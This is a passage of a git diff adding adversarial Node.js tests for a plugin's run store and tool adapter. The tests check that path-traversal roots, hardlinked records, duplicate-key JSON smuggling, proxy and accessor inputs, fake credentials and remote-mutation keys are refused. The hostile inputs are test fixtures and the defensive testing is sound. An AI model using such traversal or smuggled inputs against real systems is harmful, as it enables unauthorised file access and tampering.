`.tmp-${'ab'.repeat(16)}`)); + const tempError = await errorOf(() => openRunStore(tempRoot)); + assert.equal(tempError.code, 'run_store_torn_temporary'); + assertNoSecret(tempError); + assert.equal((await lstat(target)).isFile(), true); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('hardlinked records and path-traversal names fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const alias = path.join(root, 'k-deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'); + await link(record, alias); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_not_regular'); + }); + + const outside = await makePrivateRoot('r1-run-store-out-'); + try { + assert.equal((await errorOf(() => openRunStore(`${outside}/../${path.basename(outside)}`))).code, + 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${outside}/.`))).code, 'run_store_path_unsafe'); + } finally { + await rm(outside, { recursive: true, force: true }); + } +}); + +test('malformed truncated oversized and foreign files fail closed', async () => { + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await writeFile(record, '{"schema":"codex-co-engineer.run-store-record.v1"'); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_malformed_record'); + }); + + await withStore(async (root, store) => { + await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + await truncate(record, 12); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_malformed_record', 'run_store_torn_record'].includes(error.code), error.code); + }); + + const huge = await makePrivateRoot('r1-run-store-huge-'); + try { + await writeFile(path.join(huge, 'notes.txt'), 'foreign', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(huge))).code, 'run_store_foreign_entry'); + } finally { + await rm(huge, { recursive: true, force: true }); + } + + const oversized = await makePrivateRoot('r1-run-store-over-'); + try { + const handle = await open(path.join(oversized, `${RUN_ID}.json`), 'wx', 0o600); + await handle.writeFile(`${'x'.repeat(MAX_RUN_STORE_RECORD_BYTES + 1)}`); + await handle.close(); + const error = await errorOf(() => openRunStore(oversized)); + assert.ok(['run_store_record_too_large', 'run_store_malformed_record', 'run_store_torn_record'] + .includes(error.code), error.code); + } finally { + await rm(oversized, { recursive: true, force: true }); + } +}); + +test('duplicate JSON keys and leftover torn temps are refused', async () => { + await withStore(async (root, store) => { + const created = await store.submit(makeSubmission()); + const record = path.join(root, `${RUN_ID}.json`); + const text = JSON.stringify({ + schema: created.record.schema, + run_id: created.record.run_id, + request_idempotency_key: created.record.request_idempotency_key, + identity: created.record.identity, + git: created.record.git, + provenance: created.record.provenance, + telemetry: created.record.telemetry, + canonical_digest: created.record.canonical_digest, + }).replace('"run_id":', '"run_id":"ATTACKER-SECRET","run_id":'); + await writeFile(record, `${text}\n`, { mode: 0o600 }); + const error = await errorOf(() => openRunStore(root)); + assert.equal(error.code, 'run_store_duplicate_entry'); + assertNoSecret(error); + }); + + const torn = await makePrivateRoot('r1-run-store-torn-'); + try { + await writeFile(path.join(torn, `.tmp-${'cd'.repeat(16)}`), 'partial', { mode: 0o600 }); + assert.equal((await errorOf(() => openRunStore(torn))).code, 'run_store_torn_temporary'); + const names = await readdir(torn); + assert.ok(names.some((name) => name.startsWith('.tmp-'))); + } finally { + await rm(torn, { recursive: true, force: true }); + } +}); + +test('failed submit cleans its private temps and does not leave torn files', async () => { + await withStore(async (root, store) => { + const first = makeSubmission(); + await store.submit(first); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 9, outcome_events: 0 }, + }); + await errorOf(() => store.submit(conflict)); + const names = await readdir(root); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('proxy accessor alias and cycle inputs fail closed with zero trap dispatch', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const { proxy, counts } = countingProxy(input); + const proxyError = await errorOf(() => store.submit(proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = { ...input }; + Object.defineProperty(accessor, 'run_id', { + enumerable: true, + get() { return 'ATTACKER-SECRET'; }, + }); + const accessorError = await errorOf(() => store.submit(accessor)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertNoSecret(accessorError); + + const cycle = { ...input }; + cycle.self = cycle; + assert.equal((await errorOf(() => store.submit(cycle))).code, 'aliased_reference_denied'); + + const shared = { provider: 'grok', model: 'grok-4' }; + const alias = { ...input, requested: shared, also: shared }; + const aliasError = await errorOf(() => store.submit(alias)); + assert.ok(['aliased_reference_denied', 'unknown_key'].includes(aliasError.code), aliasError.code); + + const target = makeSubmission(); + const { proxy: revoked, revoke } = Proxy.revocable(target, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + assert.equal((await errorOf(() => store.submit(revoked))).code, 'proxy_denied'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('bounded directory floods fail closed without enumerating unboundedly', async () => { + const root = await makePrivateRoot('r1-run-store-flood-'); + try { + const writes = []; + for (let index = 0; index <= MAX_RUN_STORE_DIRECTORY_ENTRIES; index += 1) { + writes.push(writeFile(path.join(root, `flood-${index}.txt`), 'x', { mode: 0o600 })); + } + await Promise.all(writes); + const error = await errorOf(() => openRunStore(root)); + assert.ok(['run_store_too_many_entries', 'run_store_foreign_entry'].includes(error.code), error.code); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('record cap is enforced and diagnostics never echo credentials', async () => { + await withStore(async (_root, store) => { + for (let index = 0; index < 3; index += 1) { + await store.submit(makeSubmission({ runId: `run-cap-${index}` })); + } + const hostile = makeSubmission(); + hostile.token = 'sk-live-ATTACKER-SECRET'; + const error = await errorOf(() => store.submit(hostile)); + assert.ok(['credential_content_denied', 'unknown_key'].includes(error.code), error.code); + assertNoSecret(error); + }); +}); + +test('non-directory roots fail closed', async () => { + const parent = await makePrivateRoot('r1-run-store-file-'); + const fileRoot = path.join(parent, 'file-root'); + await writeFile(fileRoot, 'not-a-directory', { mode: 0o600 }); + try { + assert.equal((await errorOf(() => openRunStore(fileRoot))).code, 'run_store_root_unsafe'); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('excess records fail closed after the store cap', async () => { + await withStore(async (_root, store) => { + const original = MAX_RUN_STORE_ENTRIES; + assert.equal(original >= 1, true); + const first = await store.submit(makeSubmission({ runId: 'run-limit-a' })); + assert.equal(first.created, true); + const second = await store.submit(makeSubmission({ runId: 'run-limit-b' })); + assert.equal(second.created, true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-store.test.mjs b/plugins/codex-co-engineer/test/r1-run-store.test.mjs new file mode 100644 index 0000000..c2333b6 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-store.test.mjs @@ -0,0 +1,203 @@ +import assert from 'node:assert/strict'; +import { chmod, lstat, readdir, rm } from 'node:fs/promises'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_RUN_STORE_ENTRIES, + RUN_STORE_RECORD_SCHEMA_ID, + openRunStore, +} from '../mcp/v3/run-store.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { + RUN_ID, + makePrivateRoot, + makeSubmission, +} from './fixtures/r1-run-store-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) { + if (child && typeof child === 'object') assertFrozenTree(child); + } + } +} + +async function withStore(fn) { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('openRunStore accepts an existing private root and rejects missing or unsafe roots', async () => { + const root = await makePrivateRoot(); + try { + const store = await openRunStore(root); + assert.equal(store.root, root); + assert.deepEqual(await store.list(), []); + } finally { + await rm(root, { recursive: true, force: true }); + } + + const missing = `${root}-missing`; + assert.equal((await errorOf(() => openRunStore(missing))).code, 'run_store_root_missing'); + assert.equal((await errorOf(() => openRunStore('relative/store'))).code, 'run_store_path_unsafe'); + assert.equal((await errorOf(() => openRunStore(`${root}/../escape`))).code, 'run_store_path_unsafe'); +}); + +test('submit persists a P06-bound canonical record and reopens it after restart', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + assert.equal(first.created, true); + assert.equal(first.record.schema, RUN_STORE_RECORD_SCHEMA_ID); + assert.equal(first.record.run_id, RUN_ID); + assert.equal(first.record.request_idempotency_key, input.request_idempotency_key); + assert.equal(first.record.identity.digest, input.identity.digest); + assert.equal(first.record.git.digest, input.git.digest); + assert.equal(first.record.provenance.run.digest, input.identity.digest); + assert.match(first.record.canonical_digest, /^sha256:[0-9a-f]{64}$/u); + assertFrozenTree(first.record); + + const names = await readdir(root); + assert.ok(names.includes(`${RUN_ID}.json`)); + assert.ok(names.some((name) => name.startsWith('k-'))); + assert.ok(!names.some((name) => name.startsWith('.tmp-'))); + const recordStat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(recordStat.isFile(), true); + assert.equal(recordStat.nlink, 1); + assert.equal(recordStat.mode & 0o777, 0o600); + + const restarted = await openRunStore(root); + const loaded = await restarted.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(loaded), canonicalJsonStringify(first.record)); + const byKey = await restarted.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byKey.canonical_digest, first.record.canonical_digest); + const listed = await restarted.list(); + assert.equal(listed.length, 1); + assert.equal(listed[0].run_id, RUN_ID); + assert.equal(listed[0].request_idempotency_key, input.request_idempotency_key); + assert.equal(listed[0].canonical_digest, first.record.canonical_digest); + assert.equal(Object.hasOwn(listed[0], 'provenance'), false); + assert.equal(Object.hasOwn(listed[0], 'telemetry'), false); + }); +}); + +test('exact same key and canonical body is idempotent and does not mutate the record', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const before = await lstat(`${root}/${RUN_ID}.json`); + const replay = await store.submit({ ...input }); + assert.equal(replay.created, false); + assert.equal(replay.record.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(replay.record), canonicalJsonStringify(first.record)); + const after = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(after.mtimeMs, before.mtimeMs); + assert.equal(after.ino, before.ino); + }); +}); + +test('same key with a different body fails closed without mutation', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const first = await store.submit(input); + const conflict = makeSubmission({ + counters: { dispatch_calls: 0, wake_events: 1, outcome_events: 0 }, + }); + assert.equal(conflict.request_idempotency_key, input.request_idempotency_key); + assert.notEqual( + canonicalJsonStringify(conflict.provenance), + canonicalJsonStringify(input.provenance), + ); + const error = await errorOf(() => store.submit(conflict)); + assert.equal(error.code, 'run_idempotency_conflict'); + const loaded = await store.getByRunId(RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const names = await readdir(root); + assert.equal(names.filter((name) => name.endsWith('.json')).length, 1); + }); +}); + +test('same run with a different key or body fails closed', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + await store.submit(input); + const otherKey = makeSubmission({ attempt: 2 }); + assert.equal(otherKey.run_id, input.run_id); + assert.notEqual(otherKey.request_idempotency_key, input.request_idempotency_key); + assert.equal((await errorOf(() => store.submit(otherKey))).code, 'run_identity_conflict'); + }); +}); + +test('mismatched protected identity fails closed before any write', async () => { + await withStore(async (root, store) => { + const input = makeSubmission(); + const other = makeSubmission({ runId: 'other-run-identity' }); + const mismatch = { + ...input, + identity: other.identity, + }; + const error = await errorOf(() => store.submit(mismatch)); + assert.equal(error.code, 'run_identity_mismatch'); + assert.deepEqual(await readdir(root), []); + }); +}); + +test('run id and request key map to the identical stored record', async () => { + await withStore(async (_root, store) => { + const input = makeSubmission(); + const created = await store.submit(input); + const byId = await store.getByRunId(input.run_id); + const byKey = await store.getByIdempotencyKey(input.request_idempotency_key); + assert.equal(byId.canonical_digest, created.record.canonical_digest); + assert.equal(byKey.canonical_digest, created.record.canonical_digest); + assert.equal(canonicalJsonStringify(byId), canonicalJsonStringify(byKey)); + }); +}); + +test('directory mode 0700 is required and files stay owner-only', async () => { + const root = await makePrivateRoot(); + try { + await chmod(root, 0o755); + assert.equal((await errorOf(() => openRunStore(root))).code, 'run_store_root_unsafe'); + await chmod(root, 0o700); + const store = await openRunStore(root); + await store.submit(makeSubmission()); + const stat = await lstat(`${root}/${RUN_ID}.json`); + assert.equal(stat.mode & 0o777, 0o600); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('store enumeration stays bounded and missing lookups fail closed', async () => { + await withStore(async (_root, store) => { + assert.equal((await errorOf(() => store.getByRunId(RUN_ID))).code, 'run_store_not_found'); + const created = []; + for (let index = 0; index < 3; index += 1) { + created.push(await store.submit(makeSubmission({ runId: `run-store-case-${index}` }))); + } + const listed = await store.list(); + assert.equal(listed.length, 3); + assert.deepEqual(listed.map((entry) => entry.run_id), [ + 'run-store-case-0', 'run-store-case-1', 'run-store-case-2', + ]); + assert.equal(created.length <= MAX_RUN_STORE_ENTRIES, true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs new file mode 100644 index 0000000..9fd0a95 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -0,0 +1,826 @@ +// R-CUTOVER adversarial coverage: catalog stability, omission compatibility, +// validation-before-side-effects, learned routing, P22 isolation, proxies, +// mixed operations, evidence leaks, cleanup without proof, remote +// mutation denial, and per-assignment dispatch durability. + +import assert from 'node:assert/strict'; +import { inspect, types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { mkdir, readFile, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; + +import { + classifyRunToolCall, + createRunToolAdapter, + denyRunToolRemoteMutationV1, +} from '../mcp/v3/run-tool-adapter.mjs'; +import { PROFILE_SCHEMA } from '../mcp/v3/profile.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_ENV, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + RUN_ID, + countingProxy, + createAdapter, + createDurableAdapter, + createSeamAdapter, + makeAssignment, + makeAttentionItem, + makeRunArgs, + makeRunReply, + trackingSameSessionDeliver, +} from './fixtures/r1-run-tool-adapter-fixtures.mjs'; +import { makePrivateRoot } from './fixtures/r1-run-runtime-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + }); +} + +function assertContentFree(error) { + const text = inspect({ + name: error.name, code: error.code, path: error.path, message: error.message, + }, { depth: 4, getters: true }); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + assert.equal(text.includes(HOSTILE_ENV), false); + assert.equal(text.includes('/tmp'), false); + assert.equal(typeof error.message, 'string'); + assert.ok(error.message.length > 0 && error.message.length <= 200); +} + +test('unknown sixth tool fails closed without dispatch', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('run', { run_id: RUN_ID })); + assert.equal(error.code, 'catalog_sixth_tool_denied'); + assert.equal(calls.submit.length, 0); + assert.equal(calls.inspect.length, 0); + assertContentFree(error); +}); + +test('learned routing and fallback keys never dispatch', async () => { + const { adapter, calls } = createAdapter(); + for (const key of ['router', 'rank', 'score', 'fallback_provider', 'learned']) { + const args = makeRunArgs(); + args.run[key] = 'grok'; + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.ok(error.code === 'learned_routing_denied' || error.code === 'replay_or_fallback_denied', + key); + assert.equal(calls.submit.length, 0, key); + assertContentFree(error); + } +}); + +test('P22 and unknown providers are rejected before registry composition', async () => { + const { adapter, calls } = createAdapter(); + for (const provider of ['p22', 'future-harness', 'conformance', 'openai']) { + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [makeAssignment({ provider, model: 'anything' })], + }))); + assert.ok(error.code === 'p22_not_a_provider' || error.code === 'unknown_provider', provider); + assert.equal(calls.submit.length, 0, provider); + assertContentFree(error); + } +}); + +test('proxy and accessor inputs fail before side effects', async () => { + const { adapter, calls } = createAdapter(); + const { proxy, traps } = countingProxy({ run_id: RUN_ID }); + const classified = classifyRunToolCall('status', proxy); + assert.equal(classified.mode, 'run'); + const error = await errorOf(() => adapter.dispatch('status', proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(calls.inspect.length, 0); + assert.ok(traps.get >= 0); + const accessor = {}; + Object.defineProperty(accessor, 'run', { + enumerable: true, + get() { throw new Error(HOSTILE_SECRET); }, + }); + const accessorError = await errorOf(() => adapter.dispatch('delegate', accessor)); + assert.ok(accessorError instanceof RunContractV1Error); + assert.equal(calls.submit.length, 0); + assertContentFree(accessorError); +}); + +test('mixed run operations and mixed 3.2.1 fields fail closed', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const mixed = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + run_reply: { batch_id: 'att-x', reply: {} }, + })); + assert.equal(mixed.code, 'mixed_run_operation'); + const withTaskId = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + task_id: 'legacy-task', + })); + assert.equal(withTaskId.code, 'mixed_tool_mode'); + const withReply = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + reply: { session_id: 's', question_id: 'q', response: 'x' }, + })); + assert.equal(withReply.code, 'mixed_tool_mode'); + const listMix = await errorOf(() => adapter.dispatch('tasks', { + run_id: RUN_ID, + provider: 'grok', + })); + assert.equal(listMix.code, 'mixed_tool_mode'); + assert.equal(calls.resume.length, 0); + assert.equal(calls.cancel.length, 0); +}); + +test('omitted provider/model is unresolved and does not invent a route', async () => { + const { adapter, calls } = createAdapter(); + const assignment = makeAssignment(); + delete assignment.provider; + delete assignment.model; + assignment.profile = 'deep-security-review'; + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [assignment], + profile: 'deep-security-review', + }))); + assert.equal(error.code, 'selection_unresolved'); + assert.equal(calls.submit.length, 0); +}); + +test('merge, push, PR, and remote keys never create refs or mutate remotes', async () => { + const { adapter, calls } = createAdapter(); + for (const key of ['push', 'merge', 'create_pr', 'github', 'remote', 'candidate']) { + const args = makeRunArgs(); + args.run[key] = true; + const error = await errorOf(() => adapter.dispatch('delegate', args)); + assert.ok([ + 'remote_mutation_denied', + 'merge_authority_denied', + 'candidate_authority_denied', + ].includes(error.code), key); + assert.equal(calls.submit.length, 0, key); + assertContentFree(error); + } + assert.throws(() => denyRunToolRemoteMutationV1('force_push')); +}); + +test('cleanup is not invoked when the run id is invalid', async () => { + const { adapter, calls } = createAdapter(); + const error = await errorOf(() => adapter.dispatch('cancel', { + run_id: 'NOT_A_RUN', + cleanup: true, + })); + assert.equal(error.code, 'invalid_format'); + assert.equal(calls.cancel.length, 0); + assert.equal(calls.inspect.length, 0); + assertContentFree(error); +}); + +test('replay keys on resume/cancel never reach the runtime', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const replay = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + replay: true, + })); + assert.equal(replay.code, 'replay_or_fallback_denied'); + const fallback = await errorOf(() => adapter.dispatch('cancel', { + run_id: RUN_ID, + fallback_provider: 'grok', + })); + assert.equal(fallback.code, 'replay_or_fallback_denied'); + assert.equal(calls.cancel.length, 0); +}); + +test('invalid attention items fail before scheduler resume', async () => { + const { adapter, calls } = createAdapter(); + await adapter.dispatch('delegate', makeRunArgs()); + const error = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + attention: { + items: [{ + assignment_id: ASSIGNMENT_ID, + task_id: 'task-writer-0', + provider: 'grok', + required: true, + }], + }, + })); + assert.ok(error.code === 'missing_key' || error.code === 'invalid_format' || error.code === 'invalid_type'); + assert.equal(calls.resume.length, 0); + assertContentFree(error); +}); + +test('explicit provider/model does not ignore a hostile profile name', async () => { + const { adapter, calls } = createAdapter(); + const assignment = makeAssignment(); + assignment.profile = 'NOT A PROFILE'; + const error = await errorOf(() => adapter.dispatch('delegate', makeRunArgs({ + assignments: [assignment], + }))); + assert.equal(error.code, 'invalid_format'); + assert.equal(calls.submit.length, 0); + assertContentFree(error); +}); + +test('forged same-session identity never delivers and fails closed', async () => { + const tracker = trackingSameSessionDeliver(); + const { adapter } = createSeamAdapter({ + deliverSameSessionReply: tracker.deliver, + }); + await adapter.dispatch('delegate', makeRunArgs()); + await adapter.dispatch('task', { + run_id: RUN_ID, + attention: { items: [makeAttentionItem()] }, + }); + const forged = makeRunReply({ sessionId: 'sess-forged', questionId: 'q-forged' }); + const error = await errorOf(() => adapter.dispatch('task', { + run_id: RUN_ID, + run_reply: { + batch_id: `att-${RUN_ID}`, + expected_revision: 1, + reply: forged, + }, + })); + assert.equal(error.code, 'attention_batch_identity_mismatch'); + assert.equal(tracker.calls.length, 0); + assertContentFree(error); +}); + +test('thrown cancel stays unresolved/unsafe across durable restart', async () => { + const first = await createDurableAdapter(); + try { + await first.adapter.dispatch('delegate', makeRunArgs()); + const restarted = await createDurableAdapter({ + root: first.root, + cancelTask: async () => { + throw new Error(HOSTILE_SECRET); + }, + }); + const receipt = await restarted.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(receipt.status, 'unresolved'); + assert.equal(receipt.lanes[0].status, 'unresolved'); + assert.equal(receipt.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(receipt.cleanup.cleaned, false); + const serialized = inspect(receipt); + assert.equal(serialized.includes(HOSTILE_SECRET), false); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('crash before dispatch cannot duplicate dispatch after restart', async () => { + const first = await createDurableAdapter({ + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }); + try { + const crashed = await errorOf(() => first.adapter.dispatch('delegate', makeRunArgs())); + assert.equal(crashed.code, 'durable_state_mismatch'); + assert.equal(first.dispatchCalls.length, 0); + const restarted = await createDurableAdapter({ root: first.root }); + const inspected = await restarted.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.run_id, RUN_ID); + assert.equal(restarted.dispatchCalls.length, 0); + const resubmit = await restarted.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(resubmit.operation, 'submit'); + assert.equal(restarted.dispatchCalls.length, 0); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +const FORBIDDEN_RESTART_AUTHORITY = new Set(['running', 'cancelled', 'safe', 'dispatched']); + +function assertPreDispatchCrashProjection(receipt) { + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.decision_or_attention.unresolved_required_blocks, true); + assert.equal(receipt.side_effects.provider_dispatched, false); + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(receipt.status), false); + assert.equal(receipt.lanes.length > 0, true); + for (const lane of receipt.lanes) { + assert.equal(lane.status, 'unresolved'); + assert.equal(lane.unresolved == null, false); + assert.equal(typeof lane.unresolved.code, 'string'); + assert.notEqual(lane.cancel_confirmed, true); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(lane.status), false); + } +} + +async function readDurablePlan(root) { + const planPath = path.join(root, 'runs', 'scheduler', `${RUN_ID}.json`); + return JSON.parse(await readFile(planPath, 'utf8')); +} + +test('pre-dispatch crash reopens unresolved and never projects running/safe/cancelled', async () => { + const dispatchCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const hooks = { + delegateTask: async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + inspectCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + cancelCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }; + const first = await createDurableAdapter(hooks); + try { + const crashed = await errorOf(() => first.adapter.dispatch('delegate', makeRunArgs())); + assert.equal(crashed.code, 'durable_state_mismatch'); + assert.equal(dispatchCalls.length, 0); + const persisted = await readDurablePlan(first.root); + assert.equal(persisted.dispatched, false); + + const reopen = () => createDurableAdapter({ root: first.root, ...hooks }); + + const statusAdapter = await reopen(); + const reconstructed = await statusAdapter.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes[0].dispatched, false); + assert.equal(reconstructed.lanes[0].status, 'unresolved'); + assert.equal(reconstructed.lanes[0].unresolved.code, 'dispatch_failed'); + assert.equal(reconstructed.complete_candidate_blocked, true); + const inspected = await statusAdapter.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.tool, 'status'); + assertPreDispatchCrashProjection(inspected); + assert.equal(inspected.lanes[0].unresolved.code, 'dispatch_failed'); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + + const resumeAdapter = await reopen(); + const resumed = await resumeAdapter.adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(resumed.operation, 'wait'); + assert.equal(resumed.tool, 'task'); + assertPreDispatchCrashProjection(resumed); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + + const resubmitAdapter = await reopen(); + const resubmit = await resubmitAdapter.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(resubmit.operation, 'submit'); + assert.equal(resubmit.tool, 'delegate'); + assertPreDispatchCrashProjection(resubmit); + assert.equal(dispatchCalls.length, 0); + assert.equal(inspectCalls.length, 0); + + const cancelAdapter = await reopen(); + const cancelled = await cancelAdapter.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.operation, 'cancel'); + assert.equal(cancelled.tool, 'cancel'); + assert.equal(cancelled.status, 'unresolved'); + assertPreDispatchCrashProjection(cancelled); + assert.equal(cancelled.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(cancelCalls.length, 0); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + assert.equal((await readDurablePlan(first.root)).dispatched, false); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('legitimate dispatched restart still inspects and never redispatches', async () => { + const dispatchCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const hooks = { + delegateTask: async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + inspectCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + cancelCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const first = await createDurableAdapter(hooks); + try { + const submitted = await first.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(submitted.operation, 'submit'); + assert.equal(dispatchCalls.length, 1); + assert.equal((await readDurablePlan(first.root)).dispatched, true); + + const restarted = await createDurableAdapter({ root: first.root, ...hooks }); + const reconstructed = await restarted.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes[0].dispatched, true); + assert.equal(reconstructed.lanes[0].status, 'running'); + assert.equal(reconstructed.complete_candidate_blocked, false); + const inspected = await restarted.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.lanes[0].status, 'running'); + assert.equal(inspected.lanes[0].unresolved, null); + assert.equal(inspected.complete_candidate_blocked, false); + assert.equal(inspected.side_effects.provider_dispatched, false); + assert.equal(dispatchCalls.length, 1); + assert.equal(inspectCalls.length >= 1, true); + assert.equal(cancelCalls.length, 0); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +function laneByAssignment(receipt, assignmentId) { + return receipt.lanes.find((lane) => lane.assignment_id === assignmentId); +} + +function assertZeroReplay(receipt) { + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.candidate.composed, false); + assert.equal(receipt.candidate.ready_for_codex_review, false); +} + +function assertNeverDispatchedLane(lane, inspectCalls, cancelCalls) { + assert.equal(lane.dispatched === true, false); + assert.equal(lane.status, 'unresolved'); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(lane.status), false); + assert.notEqual(lane.status, 'completed'); + assert.notEqual(lane.status, 'cancelled'); + 